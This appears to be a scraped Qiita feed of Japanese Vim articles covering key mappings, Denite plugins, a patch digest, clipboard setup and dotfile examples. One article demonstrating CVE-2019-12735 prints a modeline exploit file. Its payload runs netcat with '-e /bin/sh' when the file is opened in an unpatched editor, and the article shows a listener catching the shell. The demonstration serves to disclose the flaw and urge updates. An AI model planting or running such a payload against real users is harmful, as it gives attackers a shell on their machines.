Quantcast
Channel: Vimタグが付けられた新着記事 - Qiita
Viewing all 5720 articles
Browse latest View live

Vimでとのマッピングを使い分けられるようになるまで(Windows)

$
0
0

Vim使いの誰かの参考になればと、初めて筆(キーボード)を執りました。

直面した問題

私はvimで以下のマッピングを定義して、しばらくの間は特に不自由なく使っていました。

inoremap <C-i><Esc>

しかしある時、インサートモードでTabキーを押してもTabが入らないことに気が付きました。

不思議に思い調べてみると、どうやら

  • <Tab>と<C-i>のキーコードは同一である
  • よって<C-i>のマッピングを定義すると、<Tab>キーを押した時にもその機能が呼び出される
  • 結果的に元々の<Tab>の機能を上書きしてしまう

ということらしいのです。

私が調べた所では、LinuxとMacOSでは既にこの問題の解決方法が編み出されていました。

しかし、私の使用環境はWindows。自力で探すしかありません。

解決方法

結論から言えば、解決方法は簡単でした。

当然ですが、<Tab>と<C-i>では、押すキーが異なります。

であれば、<Tab>や<C-i>が押された時、そのキーコードではなく、キーボードのどのキーが押されているかで判別すれば良かったのです。

私が目をつけたのは、Linux版の先駆者様が使っていた、Pythonのctypesというライブラリでした。

ctypes --- Pythonのための外部関数ライブラリ

簡単に言えば、PythonからCのライブラリを操作できるライブラリです。

これを使って呼び出せる関数の中に、GetKeyboardState()という、現在のキーボードの状態を配列に格納してくれる関数がありました。

それを使って書いたコードがこちらです。

tab_ctrli.py
# coding: UTF-8importctypesimportvimuser32=ctypes.WinDLL('user32')# Cのbyte型配列を作るkey_tbl=(ctypes.c_byte*256)()### 戻り値・引数の型を指定するuser32.GetKeyboardState.restype=None# ※最後のカンマは必須user32.GetKeyboardState.argtypes=(ctypes.POINTER(ctypes.c_byte),)# キーボードの状態を配列に格納するuser32.GetKeyboardState(key_tbl)# <Tab>が押されていた場合ifkey_tbl[0x09]&0x80:vim.command(':let g:tabctrli_tab_pushed = v:true')# <C-i>が押されていた場合elifkey_tbl[0x11]&0x80andkey_tbl[0x49]&0x80:vim.command(':let g:tabctrli_tab_pushed = v:false')

※以下のサイトを参考にさせていただきました

実行結果をvimのグローバル変数に入れて返しています。
これはvimとPythonの処理の記述をできるだけ切り離したかったからです。

後はこのスクリプトをVimScriptから実行させて、変数の値で分岐処理をすれば解決…………のはずでした。

新たなる問題

以下のコードを御覧下さい。これが、私が最初に書いたVimScriptです。

letg:tabctrli_tab_pushed=v:null
fu!s:TabctrliMain(mode)"system()などで実行すると、vimモジュールが認識されないpyfile C:\gvim\vim80-kaoriya-win64\cmd\tab_ctrli.pyifg:tabctrli_tab_pushedifa:mode=="i"return"<Tab>"elseifa:mode=="n"return"gt"endifelseifa:mode=="i"return"<Esc>"elseifa:mode=="n"return"gT"endifendifendf

inoremap <expr><C-i><SID>TabctrliMain("i")
inoremap <expr><Tab><SID>TabctrliMain("i")
nnoremap <expr><C-i><SID>TabctrliMain("n")
nnoremap <expr><Tab><SID>TabctrliMain("n")

既にお気づきの方もいらっしゃるかもしれませんが、下部で定義されているインサートモードのマッピングは、どちらも予期した動作をしません(ノーマルモードのマッピングは動きます)。

例えば<C-i>を押した時、
inoremap <expr> <C-i> <SID>TabctrliMain("i")
というマッピングは関数の実行後、
inoremap <C-i> "<Esc>"
と解釈され、実行されます。
そしてその結果、カーソル位置に"<Esc>"という文字列が挿入されます

これに関してはこちらの(map - Vim日本語ドキュメント)1.2項が詳しいのですが、要するにキーではなく、ただの文字列だと扱われてしまうのです。

新たなる問題の解決方法

この問題の解決方法は、キーをUnicodeで指定することでした(こちらに関しても上に載せたリンクに記載されています)。

それを反映させたのが、以下のコードです。

letg:tabctrli_tab_pushed=v:null
fu!s:TabctrliMain(mode)"system()などで実行すると、vimモジュールが認識されないpyfile C:\gvim\vim80-kaoriya-win64\cmd\tab_ctrli.pyifg:tabctrli_tab_pushedifa:mode=="i"" <Tab>のUnicodereturn"\u0009"elseifa:mode=="n"return"gt"endifelseifa:mode=="i"" <ESC>のUnicodereturn"\u001B"elseifa:mode=="n"return"gT"endifendifendf

inoremap <expr><C-i><SID>TabctrliMain("i")
inoremap <expr><Tab><SID>TabctrliMain("i")
nnoremap <expr><C-i><SID>TabctrliMain("n")
nnoremap <expr><Tab><SID>TabctrliMain("n")

これで本当の解決と相成りました。
インサートモードで<C-i>を押すと脱出でき、<Tab>を押すとちゃんとTabが入るようになりました。
動作の遅延もほとんどありません。

動作環境

  • Windows10
  • kaoriya版GVim(ver. 8.0.596)
  • Python3.7.0

Denite バージョンアップ対応

$
0
0

Deniteのバージョンをあげたら動かなくなったので対応を書き留めます。
適宜追加していきます

エラーで全く動かなくなる

NameError: Source "-cursor-wrap=true" is not found.
こんなエラーですね。

-cursor-wrap=true使えなくなっていたので、削除しました。

nnoremap <silent> [denite]f :<C-u>DeniteBufferDir
-      \  -cursor-wrap=true -direction=topleft file file:new<CR>
+      \ -direction=topleft file file:new<CR>

Vim patchダイジェスト [2019/05]

$
0
0

Vimのリリースされたpatch令和最初の説明です。patchの内容を確認し、必要であれば動作確認をおこなったうえで書いています。英語を忠実に訳すよりは、Vimを使っている人が理解しやすい文章になるように心がけています。
新機能、大幅な仕様変更には、:four_leaf_clover:が付いています。
(8.1.12418.1.1436)

  • runtimeファイル更新: Todo更新。helpファイル更新。他。
  • 8.1.1429: :four_leaf_clover:ポップアップウィンドウのposオプションを実装しました。あと、popup_getposition()popup_getpos()にリネームしました。8.1.1391
  • 8.1.1428: :four_leaf_clover:popup_atcursor()を追加しました。カーソルの上にポップアップウィンドウを表示し、カーソルが移動したら閉じます。8.1.1391
  • 8.1.1422: :four_leaf_clover:popup_getoptions()を追加しました。指定ポップアップidのオプション値を辞書で返します。(関連patch: 8.1.1391)
  • 8.1.1418: :four_leaf_clover:win_execute()を追加しました。execute()と似ていますが、引数で指定されたウィンドウid のコンテキスト内で実行します。(関連patch: 8.1.1425, 8.1.1433)
  • 8.1.1416: :four_leaf_clover:popup_getposition()を追加しました。(関連patch: 8.1.1391)
  • 8.1.1410: :four_leaf_clover:popup_move()を追加しました。(関連patch: 8.1.1391)
  • 8.1.1406: :four_leaf_clover:popup_hide()popup_show()を追加しました。(関連patch: 8.1.1391)
  • runtimeファイル更新: Todo更新。helpファイル更新。他。
  • 8.1.1391: :four_leaf_clover:ポップアップウィンドウの初期実装コードを追加しました。popup_create(), popup_close(), :popupclearおよび'wincolor'を追加しました。(関連patch: 8.1.1329, 8.1.1396, 8.1.1399, 8.1.1402, 8.1.1405, 8.1.1406, 8.1.1407, 8.1.1410, 8.1.1416, 8.1.1420, 8.1.1421, 8.1.1422, 8.1.1423, 8.1.1424, 8.1.1426, 8.1.1427, 8.1.1428, 8.1.1429, 8.1.1430, 8.1.1431)
  • 8.1.1370: :four_leaf_clover:VimのGitHubページに「:heart: Sponsor」ボタンを追加しました。皆さん、寄付をお願いします:bow:
  • 8.1.1366: :four_leaf_clover:モードラインを介して任意のコードが実行できてしまう脆弱性を修正しました。'modelineexpr'を追加しました。(関連patch: 8.1.1401)
  • 8.1.1361: if_python: Python setuptoolsがPython 3で動作しない件を修正しました。(find_moduleのダミー実装を追加しました。)
  • 8.1.1354: :four_leaf_clover::letで文字列のリストを設定するための演算子=<<を追加しました。{marker} で囲まれたテキストが対象です。(:h =<<) ※所謂ヒアドキュメント(のようなもの)です。(関連patch: 8.1.1356)
  • 8.1.1334: :four_leaf_clover:バッファがhiddenの場合、'shortmess'Fが使われない件を修正しました。あと、test用にtest_getvalue()を追加しました。内部変数の値を取得します。
  • 8.1.1332: :four_leaf_clover:listener_flush()を追加しました。保留中の変更がある場合、リスナーコールバックを呼び出します。
  • 8.1.1329: :four_leaf_clover:ポップアップウィンドウのサポートの計画が広がってきました。まずは、ポップアップウィンドウのヘルプの最初のバージョンを追加しました。(:h popup.txt) (関連patch: 8.1.1364, 8.1.1391)
  • 8.1.1320: :four_leaf_clover:listener_add()listener_remove()を追加しました。バッファに変更が加えられたときに呼び出されるコールバックの追加/削除をおこないます。(関連patch: 8.1.1321, 8.1.1326, 8.1.1328, 8.1.1332, 8.1.1335, 8.1.1419)
  • 8.1.1315: 端末の要求に対する応答が2秒以内に受信できない場合は、要求が失敗したと見なすようにしました。
  • 8.1.1310: :four_leaf_clover:関数の引数にデフォルト値を指定できるようにしました。関数呼び出し時に省略可能になります。(h: optional-function-argument)
  • runtimeファイル更新: Todo更新。helpファイル更新。他。
  • 8.1.1307: :four_leaf_clover::xrestoreを追加しました。X11サーバーへの接続を再初期化します。
  • 8.1.1305: :four_leaf_clover:environ(), getenv()setenv()を追加しました。環境変数の取得および設定が」おこなえます。
  • 8.1.1303: :four_leaf_clover:balloon_show()を空の文字列かリストでコールした時バルーンを隠すようにしました。それと、balloon_gettext()を追加しました。バルーン内の現在のテキストを返します。
  • 8.1.1291: :four_leaf_clover:chdir()を追加しました。作業ディレクトリを指定値に変更し、以前の作業ディレクトリを返します。
  • 8.1.1281: :four_leaf_clover::chistory:lhistoryをカウント指定出来るようにしました。
  • 8.1.1280: :four_leaf_clover:helpファイルのVimの新機能やViの既存機能に関するすべての情報をvi_diff.txtに移動しました。各helpの備考{Viにはない}を削除しました。
  • 8.1.1276: :four_leaf_clover:prop_type_add()の第2引数{props}combineエントリを追加しました。ハイライトを任意の構文ハイライトと結び付けることが出来ます。(関連patch: 8.1.1278)

  • 8.1.1275: :four_leaf_clover::cbefore, :cafter, :lbefore:lafterを追加しました。カレントバッファのカーソル桁の前後のquickfix/locationリストの項目へ移動します。(関連patch: 8.1.1256)

  • 8.1.1270: :four_leaf_clover:nコマンドを使用した時、画面最終行に "3/44" のように現在のマッチ位置を表示するようにしました。('shortmess'Sが含まれていない場合のみ) (関連patch: 8.1.1283, 8.1.1288, 8.1.1289, 8.1.1350)

  • 8.1.1262: :four_leaf_clover::alien:test_setmouse()を追加しました。test用です。

  • 8.1.1256: :four_leaf_clover::cabove, :cbelow, :labove:lbelowを追加しました。カレントバッファのカーソル行の前後のquickfix/locationリストの項目へ移動します。(関連patch: 8.1.1275)

  • 8.1.1242: コマンドラインの高さが 'cmdheight'と異なるタブページ切り替え時にコマンドラインが再描画されない件を修正しました。


凡例

表記意味
:four_leaf_clover:新機能、大幅な仕様変更
:alien:Vim開発者向けの追加、変更
'hoge'オプション (:h options参照)
:hogeExコマンド (:h :index参照)
hoge()組み込み関数 (:h functions参照)
v:hogeVim定義済変数 (:h v:参照)
+hogefeature (:h +feature-list参照)

方針

こちらを参照。

Arch Linux の neovim でクリップボードにヤンクした内容を保存できるようにする

$
0
0

はじめに

Arch Linux を使い始めています。エディタは neovim を使っているのですが、neovim 上でヤンクした内容をクリップボードに保存できず困っていました。

解決方法を調べたので、こちらにまとめます。

tl;dr

以下で実現できました。

  • xclip をインストールする
  • neovim の設定で以下の設定をする
set clipboard+=unnamedplus

調べたこと詳細

詳細は neovim の help で確認できました。

:help clipboard

以下、ヘルプの内容を引用します。

==============================================================================
Clipboard integration                 *provider-clipboard* *clipboard*

Nvim has no direct connection to the system clipboard. Instead it depends ona|provider| which transparently uses shell commands to communicate with the
system clipboard or any other clipboard "backend".

To ALWAYS use the clipboard for ALL operations (instead of interacting with
the '+' and/or '*'registers explicitly):>set clipboard+=unnamedplus

See 'clipboard'for details and options.

                                  *clipboard-tool*
The presence of a working clipboard tool implicitly enables the '+' and '*'registers. Nvim looks for these clipboard tools,in order of priority:-|g:clipboard|- pbcopy, pbpaste (macOS)- wl-copy, wl-paste (if $WAYLAND_DISPLAY isset)- xclip (if $DISPLAY isset)- xsel (if $DISPLAY isset)- lemonade (for SSH) https://github.com/pocke/lemonade
  - doitclient (for SSH) http://www.chiark.greenend.org.uk/~sgtatham/doit/
  - win32yank (Windows)- tmux (if $TMUX isset)

ヘルプの内容を簡単に抜粋します。

  • neovim はシステムのクリップボードと直接連携していない
  • 代わりに、システムのクリップボードと透過的に連携するシェルコマンドを扱う provider と依存している
  • ヘルプに記載されているクリップボードツール(xclip, pbcopy,...)が存在していれば、暗黙的にレジスターに登録される

Mac などでは標準で pbcopy が導入されていたので、クリップボードを有効にする設定をすればすぐ使えていたのですが、Arch Linux ではまだクリップボードのツールをインストールしていなかったため、動作しなかったのかなと思います。

終わりに

マニュアル読んで学習するの大事ですねー。解決はしたのですが、まだ理解しきれてない部分も多いので、概念を改めて確認していきたいと思います。

参考

PCカスタマイズ入門【for Mac】

$
0
0

はじめに

PC(MacBook Pro)に、何をどんな感じでカスタマイズしたっけなと思う時があるので備忘録としてまとめてみました。

自分が設定している以下3つの項目についてまとめます。

  • Vim
  • Git
  • Zsh (iTerm2使ってます)

想定読者

これからPCを色々カスタマイズをしようと考えているが、どんな設定をすれば良いか分からないや、どんな設定する人が多いのだろうと悩んでいる人に参考になれば良いと思っています。

【Vim】 ~/.vimrc

主な設定内容

  • NeoBundle
  • 文字コードなど入力に関する設定
  • 色など見栄えに関する設定

NeoBundle関連

if has('vim_starting')
    " 初回起動時のみruntimepathにNeoBundleのパスを指定する
    set runtimepath+=~/.vim/bundle/neobundle.vim/
endif

call neobundle#begin(expand('~/.vim/bundle/'))

" インストールするVimプラグインを以下に記述
" NeoBundle自身を管理
NeoBundleFetch 'Shougo/neobundle.vim'
"----------------------------------------------------------
" ここに追加したいVimプラグインを記述する
"----------------------------------------------------------
" molokaiの設定
NeoBundle 'tomasr/molokai'

" ファイルをtree表示してくれる
NeoBundle 'scrooloose/nerdtree'
nnoremap <silent><C-e> :NERDTreeToggle<CR>

" 末尾の全角と半角の空白文字を赤くハイライト
NeoBundle 'bronson/vim-trailing-whitespace'

" インデントの可視化
NeoBundle 'Yggdroot/indentLine'

" 多機能セレクタ
NeoBundle 'ctrlpvim/ctrlp.vim'

" CtrlPの拡張プラグイン. 関数検索
NeoBundle 'tacahiroy/ctrlp-funky'

" CtrlPの拡張プラグイン. コマンド履歴検索
NeoBundle 'suy/vim-ctrlp-commandline'

" ステータスライン表示をおしゃれにする
NeoBundle 'itchyny/lightline.vim'

" Unite.vim
NeoBundle 'Shougo/unite.vim'

"----------------------------------------------------------
call neobundle#end()

" ファイルタイプ別のVimプラグイン/インデントを有効にする
filetype plugin indent on

" 未インストールのVimプラグインがある場合、インストールするかどうかを尋ねてくれるようにする設定
NeoBundleCheck

文字コード関連

set encoding=utf-8
set fileencoding=utf-8 " 保存時の文字コード
set fileencodings=ucs-boms,utf-8,euc-jp,cp932 " 読み込み時の文字コードの自動判別. 左側が優先される
set fileformats=unix,dos,mac " 改行コードの自動判別. 左側が優先される
set ambiwidth=double " □や○文字が崩れる問題を解決

ステータスライン

set laststatus=2 " ステータスラインを常に表示
set showmode " 現在のモードを表示
set showcmd " 打ったコマンドをステータスラインの下に表示
set ruler " ステータスラインの右側にカーソルの位置を表示する

タブ・インデント

set expandtab " タブ入力を複数の空白入力に置き換える
set tabstop=4 " 画面上でタブ文字が占める幅
set softtabstop=4 " 連続した空白に対してタブキーやバックスペースキーでカーソルが動く幅
set autoindent " 改行時に前の行のインデントを継続する
set smartindent " 改行時に前の行の構文をチェックし次の行のインデントを増減する
set shiftwidth=4 " smartindentで増減する幅

文字列検索

set incsearch " インクリメンタルサーチ. 1文字入力毎に検索を行う
set ignorecase " 検索パターンに大文字小文字を区別しない
set smartcase " 検索パターンに大文字を含んでいたら大文字小文字を区別する
set hlsearch " 検索結果をハイライト
set wrapscan " 検索がファイル末尾まで進んだら、ファイル先頭から再び検索

" ESCキー2度押しでハイライトの切り替え
nnoremap <silent><Esc><Esc> :<C-u>set nohlsearch!<CR>

カーソル

set whichwrap=b,s,h,l,<,>,[,],~ " カーソルの左右移動で行末から次の行の行頭への移動が可能になる
set number " 行番号を表示
set cursorline " カーソルラインをハイライト

" 行が折り返し表示されていた場合、行単位ではなく表示行単位でカーソルを移動する
nnoremap j gj
nnoremap k gk
nnoremap <down> gj
nnoremap <up> gk

" バックスペースキーの有効化
set backspace=indent,eol,start

カッコ・タグの対応

set showmatch " 括弧の対応関係を一瞬表示する
source $VIMRUNTIME/macros/matchit.vim " Vimの「%」を拡張する

クリップボードからのペースト

" 挿入モードでクリップボードからペーストする時に自動でインデントさせないようにする
if &term =~ "xterm"
    let &t_SI .= "\e[?2004h"
    let &t_EI .= "\e[?2004l"
    let &pastetoggle = "\e[201~"

    function XTermPasteBegin(ret)
        set paste
        return a:ret
    endfunction

    inoremap <special> <expr> <Esc>[200~ XTermPasteBegin("")
endif

カラースキーム

if neobundle#is_installed('molokai')
    colorscheme molokai " カラースキームにmolokaiを設定する
endif

set t_Co=256 " iTerm2など既に256色環境なら無くても良い
syntax enable " 構文に色を付ける

表示設定

set noerrorbells

CtrlPの設定

let g:ctrlp_match_window = 'order:ttb,min:20,max:20,results:100' " マッチウインドウの設定. 「下部に表示, 大きさ20行で固定, 検索結果100件」
let g:ctrlp_show_hidden = 1 " .(ドット)から始まるファイルも検索対象にする
let g:ctrlp_types = ['fil'] "ファイル検索のみ使用
let g:ctrlp_extensions = ['funky', 'commandline'] " CtrlPの拡張として「funky」と「commandline」を使用

" CtrlPCommandLineの有効化
command! CtrlPCommandLine call ctrlp#init(ctrlp#commandline#id())

" CtrlPFunkyの有効化
let g:ctrlp_funky_matchtype = 'path'

【Git】 ~/.gitconfig

主な設定内容

  • Sourcetree等で綺麗に確認できるリビジョングラフをGitコマンドで確認するための設定のみ
[alias]
    graph = log --graph --pretty=format:'%x09%C(auto) %h %Cgreen %ar %Creset %x09by"%C(cyan ul)%an%Creset" %x09%C(auto)%s %d'

【Zsh】 ~/.zshrc

主な設定内容

  • pyenv/rbenv
  • Git関連
  • alias
setopt pushd_ignore_dups

setopt print_eight_bit

setopt interactive_comments

zstyle ':completion:*' list-colors ''
# -------------------------------------------------
#  rbenv PATH
# -------------------------------------------------
if which rbenv > /dev/null; then eval "$(rbenv init -)"; fi
eval "$(rbenv init -)"

# -------------------------------------------------
#  pyenv PATH
# -------------------------------------------------
export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"

# --------------------------------------------------
#  カレントディレクトリ表示(左)
# --------------------------------------------------

PROMPT='
%F{green}%d%f
%F{green}%f'

# --------------------------------------------------
#  git branch状態を表示(右)
# --------------------------------------------------

autoload -Uz vcs_info
setopt prompt_subst

# true | false
# trueで作業ブランチの状態に応じて表示を変える
zstyle ':vcs_info:*' check-for-changes false
# addしてない場合の表示
zstyle ':vcs_info:*' unstagedstr "%F{red}%B+%b%f"
# commitしてない場合の表示
zstyle ':vcs_info:*' stagedstr "%F{yellow}★ %f"
# デフォルトの状態の表示
zstyle ':vcs_info:*' formats "%u%c%F{green}【 %b 】%f"
# コンフリクトが起きたり特別な状態になるとformatsの代わりに表示
zstyle ':vcs_info:*' actionformats '【%b | %a】'

precmd () { vcs_info }

RPROMPT=$RPROMPT'${vcs_info_msg_0_}'

# --------------------------------------------------
#  gitコマンド補完機能セット
# --------------------------------------------------

# autoloadの文より前に記述
fpath=(~/.zsh/completion $fpath)

# cdを使わずにディレクトリを移動できる
setopt auto_cd

# --------------------------------------------------
# alias
# --------------------------------------------------
alias ll='ls -laG'

Vimをデフォルトの設定で運用すると任意コードが実行される脆弱性が発見された

$
0
0

バージョン8.1.1365以下のvimやバージョン0.3.6以下のneovimは、細工されたファイルを開くと、モードラインにより任意コードが実行可能であること。

CVE

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735

対策

vimやneovimはそれぞれすでにパッチを提供しているため、更新すること。

Patches

タイムライン

2019-05-22 vimやneovimの開発者に通知
2019-05-23 vimがパッチを提供
2019-05-29 neovimがパッチを提供
2019-06-05 CVE-2019-12735割り当て

【Vim】node_modules のための Denite source を作った

$
0
0

皆さんもう最新の Denite は試されましたかね? 一つ前の記事では新しくなった Denite v3 についての紹介記事を書きました。

最近の Denite 熱の高まりに応じて source の自作にハマっています。今回は、node_modulesディレクトリからパッケージを羅列する source を作ってみました。意外なことに、ググってもなかったんですよね、これ。

作ったもの

スクリーンショット 0001-06-09 14.52.19.png

:Denite node_modulesでカレントディレクトリから一番近い package.jsonを探し、同階層にある node_modulesを探索してくれます。dependenciesdevDependenciesなどに列挙されているパッケージには [dev]などのマークがついています。

Kind には directory:h denite-kind-directory)を指定してありますので、対応した Action はなんでも実行できるようになっています。僕は fire/rec source や grep source を起動して、さらに検索を続けたりすることが多いです。

neoclide/npm.nvim

上では「ググってもない」なんて書いたんですが、実はあるんです。

あるんですが、少しこのプラグインは実装が複雑で、導入も難しいです。

  • プラグイン独自の Kind を denite.nvim のディレクトリにコピーしないと動かない。
    • 独自 Kind にしたのはもちろん機能を足すためなのでしょうが、個人的には、Kind に機能を足すよりも、必要な Action を利用者が自分で定義して使う方がスマートだと思います。
  • 付属の Denite source では package.json内の dependenciesdevDependenciesをリストアップすることしかできなかった。
    • node_modulesにはもっといろんなパッケージがあるのに!

このような不満から、車輪の再発明に至った次第です。

まとめ

今回作成した Denite source は subprocess を起動するわけでもなく、非同期処理もありません。構造が単純なので source 作りの参考にしやすいと思います。以前 source 作成について書いた記事もリンクしておきますので、是非皆さんもオリジナルの source を作ってみてください。

Manjaro で vim の clipboard を使いたい

$
0
0

問題

Manjaro で vim の clipboard 機能を使いたかったが、vim --versionをすると -clipboardとなっていて使えなかった。

環境

  • Manjaro 18.0.4 Illyria

解決方法

gvim を入れればいい。

手順

$ sudo pacman -S gvim
$ vim --version | grep clipboard
+clipboard         +jumplist          +persistent_undo   +vartabs
+eval              +mouse_gpm         +syntax            +xterm_clipboard

Vimでyankしたときに、クリップボードに入るようにする。

$ vim ~/.vimrc

.vimrcへ以下を追加。

set clipboard&
set clipboard^=unnamedplus

参考


denite で filename を先頭に持ってくるコンバーターを作った

$
0
0

はじめに

この記事では denite.nvim で「候補のファイルパスを filename - pathに変換する」コンバーターを書いたのでその紹介をします。

なぜ作ったのか?

IntelliJ IDEA などのリスティングの表示が羨ましかったから。

また、ファイル名を指定して fuzzy 検索しようとした時に大きなプロジェクトだと途中のファイルパスで fuzzy マッチがヒットしちゃってあんまりうれしくないから。というのもあります。

作ったもの

https://github.com/hrsh7th/denite-converter-prioritize-basename

です。

使い方

使い方は簡単でインストールした上で denite.nvim の converters に指定するだけです。file_mru と file/rec に指定するのがおすすめです。

call dein#add('hrsh7th/denite-converter-prioritize-basename')call denite#custom#source('file_mru,file/rec','converters',['converter/prioritize_basename'])

どういう動きか?

例えば、あるプロジェクトを denite.nvim でリスティングした場合は下記のように変わります。

converter なし

スクリーンショット 2019-06-10 18.49.03.png

converter あり

スクリーンショット 2019-06-10 18.49.25.png

おわりに

多分、使ってみると微妙な点があると思います。
自分としてもつくったばかりなのでまだエッジケース拾いきれてなさそうです。
なにか不便な点があれば issue/PR お待ちしています。

英語が得意じゃないのでもっとふさわしいプラグイン名があるのでは...?と思っていたり、いい名前があったら是非教えていただきたいです :pray:

あと、これもしかしたら本体に入ってたほうがいいかも?とか思ったり、枯れてきたら PR を投げてみようかな。

[vim] 爆速で複数ファイルからキーワードを検索する [ferret for vim] 

$
0
0

vim の検索はつらいよ。

昨日からvimを使い始めた初心者です。

操作には慣れたものの、検索系のスピードが遅くてストレスを感じました。
特に複数ファイルを跨いだ特定文字列(キーワード)の検索は厄介。
vimgrepを利用して:vim hoge **という風に検索はできるものの、ファイル数が増えると遅すぎます。

そこで multi-file search プラグインferretの出番です!
51e3592f224991acfa7c5b85b4507ebf.gif
ferretを使うとファイルを跨いだキーワード検索も:Ackコマンドで楽々です。
現在のディレクトリ配下からキーワードを検索し、 Quickfix に一覧をプレビューしてくれます。

ferret.vim を導入する

ferret はファイル検索に ripgrepを利用しています。
まずは ripgrepをインストールしておきましょう。

$ brew install ripgrep

ag も使えるそうですが riogrep が最速です。

次にferretをインストールします。
私はdein.vimでプラグインを管理しているため以下のようになります。

.vimrc
call dein#add('wincent/ferret')

これで導入完了です! 簡単っ!


ferret の実力はこんなもんじゃない!?

この記事で紹介したのはキーワード検索だけですが ferret には他にも便利な機能がありそうです。

すげえな、、ferret!


他にも方法があれば教えてください

他にもファイルを跨いだキーワード検索を爆速で行う方法があればコメントで教えてくださいっ。

Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]

$
0
0

結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。

対応するVimのバージョンなどは以下のとおりです。

Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)
Option:  :set modeline(false)

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)でサーバーを起動し、そこにアクセスします。

shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D 
$ mkdir-p tmp
$ cd tmp
$ touch{1..2}$ sudo pacman -S neovim --noconfirm$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.ext
---------------$ nc -vlp 9999
ls
1
2

neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。

Vimの編集あれこれ

$
0
0

Linux CentOS7を触り始めて間もなく、Vimを使用しているときにあまりにも忘れてしまいがちなデリート/ヤンク/プットについて自分のために残しておきます。

デリート:d
ヤンク:y
プット:p

d$:行末までデリート
d0:行頭までデリート
x,dl:1文字をデリート
dw:単語を1つデリート
dgg:最初の行までデリート
dG:最後の行までデリート
p:プット
yy:現在カーソルのある行をヤンク
dd:現在カーソルのある行をデリート

u:アンドゥ (undo)
Ctr+r:リドゥ(redo)

dに相当する部分をy,pに置き替えることでヤンク/プットが可能になる。
dの後ろに相当する部分はカーソル移動のコマンドであり、それの組み合わせになっている。

俺のvimrc

$
0
0

何百億番煎じかはわからないが、メモ代わりに自分のvimrcを晒す
(2019年6月12日現在)
それだけの記事です

完成時の見た目はこんな感じ
aaa.jpg

はい、本編
ででん!!!!!

" 機能型
"" 互換モードの廃止(要先頭記述)
set nocompatible
"" コマンドの履歴を10000件残す
set history=10000
"" 行を跨いでのカーソル移動を有効にする
set whichwrap=b,s,h,l,<,>,[,]
"" w!!でsudoを忘れても保存
cnoremap w!! w !sudo tee > /dev/null %<CR> :e!<CR>
"" バックスペースの有効化
set backspace=indent,eol,start
"" 左右スクロールは一文字づつ行う
set sidescroll=1
"" 左右スクロール時の視界を確保
set sidescrolloff=8
"" 文字コードの設定
set encoding=utf-8
"" vimのマルチバイトへの対応
scriptencoding utf-8
"" 保存時の文字コード
set fileencoding=utf-8
"" 読み込み時の文字コードの自動判別. 左側が優先される
set fileencodings=ucs-boms,utf-8,euc-jp,cp932
"" 改行コードの自動判別. 左側が優先される
set fileformats=unix,dos,mac
"" NeoVimのインストール確認
if has('vim_starting')
    set runtimepath+=~/.vim/bundle/neobundle.vim/
    if !isdirectory(expand("~/.vim/bundle/neobundle.vim/"))
        echo "install NeoBundle..."
        :call system("git clone git://github.com/Shougo/neobundle.vim ~/.vim/bundle/neobundle.vim")
    endif
endif
call neobundle#begin(expand('~/.vim/bundle/'))
NeoBundleFetch 'Shougo/neobundle.vim'

" プラグインの個別記載
"" カラースキームのmolokaiを導入
NeoBundle 'tomasr/molokai'
"" ステータスラインの情報を強化
NeoBundle 'itchyny/lightline.vim'
"" 末尾のスペースを強調表示
NeoBundle 'bronson/vim-trailing-whitespace'
"" インデントの可視化
NeoBundle 'Yggdroot/indentLine'
"" NeoVimの設定系
call neobundle#end()
filetype plugin indent on
NeoBundleCheck
"" molokaiが存在すれば有効化する
if neobundle#is_installed('molokai')
    colorscheme molokai
endif

" 表示系
"" ステータスラインを表示
set laststatus=2
"" カーソル行の背景色を変える
set cursorline
"" 行番号を表示する
set number
"" 上下4行の視界を確保
set scrolloff=4
"" カラーbitの指定
set t_Co=256
"" 括弧入力時の対応する括弧を表示
set showmatch
"" 入力中のコマンドを表示
set showcmd
"" 現在のモードを表示する
set showmode
"" 編集中のファイル名を表示
set title
"" カーソルの位置表示を有効にする
set ruler
"" キャレットの形状変更
let &t_SI = "\<Esc>]50;CursorShape=1\x7"
let &t_EI = "\<Esc>]50;CursorShape=0\x7"
"" コードの色分け
syntax enable
" □ や○ 文字が崩れる問題を解決
set ambiwidth=double
"" 対応する括弧の強調表示
set showmatch
source $VIMRUNTIME/macros/matchit.vim
"" 長文が表示されなくなる問題の解決
set display=lastline

" 入力補助系
"" オートインデント
set smartindent
"" smartindentで増減する幅
set shiftwidth=4
"" インデントのスペースを設定
set tabstop=4
"" 貼り付け時にインデントを無効化
set paste
"" タブ入力を複数の空白入力に置き換える
set expandtab
"" 連続した空白に対してタブキーやバックスペースキーでカーソルが動く幅
set softtabstop=4
"" ペースト時の自動インデント
if &term =~ "xterm"
    let &t_SI .= "\e[?2004h"
    let &t_EI .= "\e[?2004l"
    let &pastetoggle = "\e[201~"
    function XTermPasteBegin(ret)
        set paste
        return a:ret
    endfunction
    inoremap <special> <expr> <Esc>[200~ XTermPasteBegin("")
endif
"" 改行時に前の行のインデントを継続する
set autoindent

" 検索系
"" 大文字と小文字を区別しない
set ignorecase
"" インクリメンタルサーチを行う
set incsearch
"" 大文字と小文字が混在した言葉で検索を行った場合に限り、大文字と小文字を区別する
set smartcase
"" 検索文字列をハイライトする
set hlsearch
"" 最後尾まで検索を終えたら次の検索で先頭に移る
set wrapscan

以上!

各種、解説はこの方の解説が神です。
他はぐぐるとすぐ出るので、検索すると新たな発見もあるかも。

俺のvimrc

$
0
0

